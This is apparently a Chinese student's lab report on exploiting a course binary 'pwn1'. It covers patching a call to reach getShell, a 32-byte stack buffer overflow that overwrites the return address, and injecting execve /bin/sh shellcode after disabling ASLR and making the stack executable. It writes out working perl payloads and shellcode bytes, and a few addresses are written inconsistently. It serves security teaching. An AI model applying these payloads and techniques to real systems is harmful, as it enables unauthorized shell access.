实验一 缓冲区溢出与shellcode 20222320
20222320 2024-2025-1 《网络与系统攻防技术》实验一 实验报告
1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。资料区直接下载
该程序正常执行会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段,三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个shellcode并运行这段shellcode。
2.实验过程
1.通过修改可执行文件,改变程序执行流程
使用命令对pwn1进行反编译:objdump -d pwn1 | more
可以看到,main函数里面有个call调用了foo函数,这里就需要将foo函数的地址改为getshell的地址。因此,就需要将804891改为getshell位置。getshell函数的首地址为80487d,于是该改为80487d-8048ba=-61=0xffffc3,即存储为0xc3ffff,于是修改就行。
vim pwn1
%!xxd //查看16进制
找到e8 d7对应位置改为e8 c3
%!xxd -r
mv pwn1 pwn2_direct //顺便改个名
撤销16进制,不然文件无法运行。然后再次反编译查看是否成功更改:
可以看出,之前foo现在改为了getshell,说明已经成功更改了。main函数调用的话的将会是getshell。运行一下试试:
可以看出,现在没有简单回复字符串,输入ls回复的是当前文件,说明成功调用了getshell函数,第一部分完成
2.利用foo的bof漏洞,构造过多输入覆盖返回地址,调用getshell函数
查看一下foo函数的反编译代码,为缓冲区溢出找机会:
可以看到,foo分配了0x38的字节做存储范围,其中有0x1c给gets,即28字节;又因为要传递地址,所以要给28+4=32字节来覆盖缓冲区,将其返回地址覆盖到getshell的地址。所以要构造输入才行,先用大量输入试试看缓冲区:
这里用gdb调试,查看寄存器
info r
注意到eip的内容是4455,数一下多少字节才让它溢出到这里:
共28字节,与之前计算一样,那就可以大胆构造输入来调用getshell了!之前看到了getshell的地址为0x080487d,倒着输入就是:
perl -e 'print "yyyyyysssssscccccchhhhjjjjyyyy20\x7d\x84\x04\x08"' > input
构造完后查看一下是否正确:
xdd input
输入是正确的,那直接上吧
完成了,下面的输出看出,已经是getshell在发挥作用了,所以通过输入完成了缓冲区溢出调用getshell。第二部分也成功完成
3.注入一个shellcode并运行这段shellcode
自己制作shellcode太麻烦了,直接用实验指导的的shellcode;在实验之前要先将pwn3设置为堆栈可执行
execstack -s ./pwn3
execstack -q ./pwn3
这里输出
X pwn3
设置完成;同时还要关闭地址随机化,不然获取到的地址不是运行时地址;kali自身的安全系统默认为2级,这是不能直接使用的
echo "0" > /proc/sys/kernel/randomize_va_space
同时查看一下是否成功设置,免得后面出问题找不到原因
more /proc/sys/kernel/randomize_va_space
准备工作完成,接下来就是分析foo函数的返回地址,这次我们尝试使用foo的return地址,在gdb中调试分析
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
其中,1234是占位符,用来检测是否成功的
(cat input_shellcode; cat) | ./pwn3
用input_shellcode作为输入注入,回车运行后,光标还在闪烁。这时先不着急退出,打开新终端查看进程号
ps -ef | grep pwn3
其中44084就是进程号,其他不管就行。再在新终端中用gdb调试
gdb pwn3
再查找进程
attach 44084
最后反编译foo函数分析
disassemble foo
最后结果如图,ret地址为0x080484ae,这里打个断点进行调试
break *0x080484ae
按“c”继续运行后,这里要先将老终端关闭。再查看栈顶指针
info r esp
这里存放的地址为0xffffd3ac,再查看一下这里寄存的内容
x/16x 0xffffd3ac
这里存的是1234,说明构造的是成功的,接下来计算地址,栈顶指针加4字节就是shellcode该有的位置,计算一下0xffffd3ac + 4 = 0xffffd3b0
之前讲过是小端存储,所以倒过来输入,构造输入文件:
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
将之前1234换成地址就行,保存运行一下
(cat input_shellcode; cat) | ./pwn3
好的,成功运行shellcode,实验第三部分成功
3.问题及解决方案
-
问题1:计算函数地址,比如部分一的偏移量,部分三地址等
-
问题1解决方案:
首先记住是小端存储,一个地址4字节,栈顶指针加4之类的;偏移量补码计算
-
问题2:输入gdb指令无响应
-
问题2解决方案:
先用
gdb -v
看是否安装,发现没有,这下就得自己安装了啊。用apt尝试一下
apt install gdb
显示连接问题,无法连接;那只能看一下下载源了。打开发现是kali官网的下载源,换成国内镜像试试
vim /etc/apt/sources.list
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free可以了,看来还是网络问题啊
-
问题3:第二部分输入后,程序直接正常退出
-
问题3解决方案:
输入少了,缓冲区都没溢出,直接就结束了。所以要多输入才能让缓冲区溢出,程序出问题才能停下。
-
问题4:下载execstack出问题,镜像也不行
-
问题4解决方案:
没办法,找不到简单的解决方式,只能手动的到官网找下载链接下载相关包安装
4.学习感悟、思考等
这次实验,我更深的了解了缓冲区溢出的相关原理以及相关工具的使用。上网查找问题也锻炼了我的寻找问题、动手能力。学会了反编译文件和16进制查看文件的能力。能够修改,找到缓冲区和尝试用输出定位寄存器区大小。最提高的就是我的gdb使用能力,在这之前我都是用ide的gdb来调试,这是第一次在linux用命令行来进行文件调试;也发现了它不仅能直接对文件,寄存器查看,还能对相关进程的寄存器都能查看,功能过于强大了吧。很多代码都是参考文件和网上查找,结合实际输出的来进行。同时遇到的问题也不止写出来的那些,奇奇怪怪的问题也锻炼了我的耐心(一个莫名其妙的问题能卡我半小时)。完成实验后,我觉得我对缓冲区溢出还是多掌握了不少的,获益很多。